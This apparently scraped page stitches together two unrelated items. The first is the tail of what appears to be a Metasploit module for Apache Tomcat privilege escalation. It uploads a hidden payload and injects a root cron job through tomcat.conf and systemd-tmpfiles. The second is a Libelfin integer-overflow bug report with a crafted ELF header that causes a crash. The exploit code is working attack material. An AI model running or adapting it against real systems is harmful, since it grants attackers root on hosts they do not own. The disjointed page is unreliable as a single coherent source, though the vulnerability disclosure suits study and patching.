CheckCode::Safe('Unable to execute command to determine installed pacakges')    end    package = package.sub('tomcat-', '').strip    # fedora based cleanup    package = package.sub(/\.fc\d\d\.noarch/, '')    # rhel/centos based cleanup    package = package.sub(/\.el\d_\d\.noarch/, '')    package = Rex::Version.new(package)    # The write-up says 6, 7, 8 but doesn't include version numbers. RHEL's writeup says    # only 7 is effected, so we're going to go off their write-up.    if package.to_s.start_with?('7') && package < Rex::Version.new('7.0.54-8')      return CheckCode::Appears("Vulnerable app version detected: #{package}")    end    CheckCode::Safe("Unexploitable tomcat packages found: #{package}")  end  def exploit    # Check if we're already root    if is_root? && !datastore['ForceExploit']      fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override'    end    unless writable? base_dir      fail_with Failure::BadConfig, "#{base_dir} is not writable"    end    unless writable? tomcat_conf      fail_with Failure::BadConfig, "#{tomcat_conf} is not writable"    end    vprint_status("Creating backup of #{tomcat_conf}")    @tomcat_conf_content = read_file(tomcat_conf)    path = store_loot(      tomcat_conf,      'text/plain',      rhost,      @tomcat_conf_content,      'tomcat.conf'    )    print_good("Original #{tomcat_conf} backed up to #{path}")    # Upload payload executable    payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"    vprint_status("Uploading Payload to #{payload_path}")    upload_and_chmodx payload_path, generate_payload_exe    register_file_for_cleanup(payload_path)    # write in our payload execution    vprint_status("Writing permission elevation into #{tomcat_conf}")    cron_job = "/etc/cron.d/#{rand_text_alphanumeric(5..10)}"    print_status("Creating cron job in #{cron_job}")    # The POC shows 2 options, a cron answer, and copy bash answer.    # Initially I attempted to copy our payload, set suid and root owner    # however it seemed to need 2 service restart to apply all the permissions.    # I never figured out why it was like that, even chaining copying bash in, then    # launching the payload from the bash instance etc.  We opt for the cron    # which may take 1 additional minute, and rely on cron, but is much more stable    cmd_exec("echo 'F #{cron_job} 0644 root root - \"* * * * * root nohup #{payload_path} & \\n\\n\"' >> #{tomcat_conf}")    register_file_for_cleanup(cron_job)    # we now need systemd-tmpfiles to restart    print_good("Waiting #{datastore['WfsDelay']} seconds. Run the following command on the target machine: /usr/bin/systemd-tmpfiles --create - this is required to restart the tmpfiles-setup.service")    succeeded = retry_until_truthy(timeout: datastore['WfsDelay']) do      file? cron_job    end    unless succeeded      print_error("#{cron_job} not found, exploit aborted")      return    end    print_status('Waiting on cron to execute the payload (~1 minute)')  end  def cleanup    unless @tomcat_conf_content.nil?      write_file(tomcat_conf, @tomcat_conf_content)    end    super  endend

Apache Tomcat Privilege Escalation

Libelfin v0.3 was discovered to contain an integer overflow in the load function at elf/mmap_loader.cc. This vulnerability allows attackers to cause a Denial of Service (DoS) via a crafted elf file.

found integer overflow bug

by source code audit,i just found integer overflow at function load(...) which return pointer on mmap address.  
var offset and size can assumed as u64  
so in this case, if offset and size big enough,it may cause Addition overflow and return a pointer points to invalid address.

mmap\_loader.cc:48:

            const void *load(off_t offset, size_t size)
            {
                    if (offset + size > lim) //         integer overflow here
                            throw range_error("offset exceeds file size");
                    return (const char*)base + offset;
            }
    

here a sample:  
a.zip  
which i just modify the offset of program\_head to -1(0xffffffffffffffff)

    $readelf -h a
    ELF Header:
      Magic:   7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 
      Class:                             ELF64
      Data:                              2's complement, little endian
      Version:                           1 (current)
      OS/ABI:                            UNIX - System V
      ABI Version:                       0
      Type:                              EXEC (Executable file)
      Machine:                           Advanced Micro Devices X86-64
      Version:                           0x1
      Entry point address:               0x401040
      Start of program headers:          -1 (bytes into file)    //  modify offset here
      Start of section headers:          23000 (bytes into file)
      Flags:                             0x0
      Size of this header:               64 (bytes)
      Size of program headers:           56 (bytes)
      Number of program headers:         13
      Size of section headers:           64 (bytes)
      Number of section headers:         31
      Section header string table index: 30
    readelf: a: Error: Reading 728 bytes extends past end of file for program headers
    
    

use ./dump-segments a  

and this is a batch problem at elf.cc which cause segmentation violation

    elf/elf.cc
      70,44:         } *core_hdr = (struct core_hdr*)l->load(0, sizeof *core_hdr);
      87,30:         const void *hdr = l->load(0, hdr_size);
      97,35:         const void *seg_data = l->load(m->hdr.phoff,
      105,35:         const void *sec_data = l->load(m->hdr.shoff,
      191,46:                 m->data = m->f.get_loader()->load(m->hdr.offset,
      270,46:                 m->data = m->f.get_loader()->load(m->hdr.offset, m->hdr.size);
    

An attacker can exploit this vulnerability by submitting a malicious elf file that exploits this bug which will result in a Denial of Service (DoS).

Tag

#mac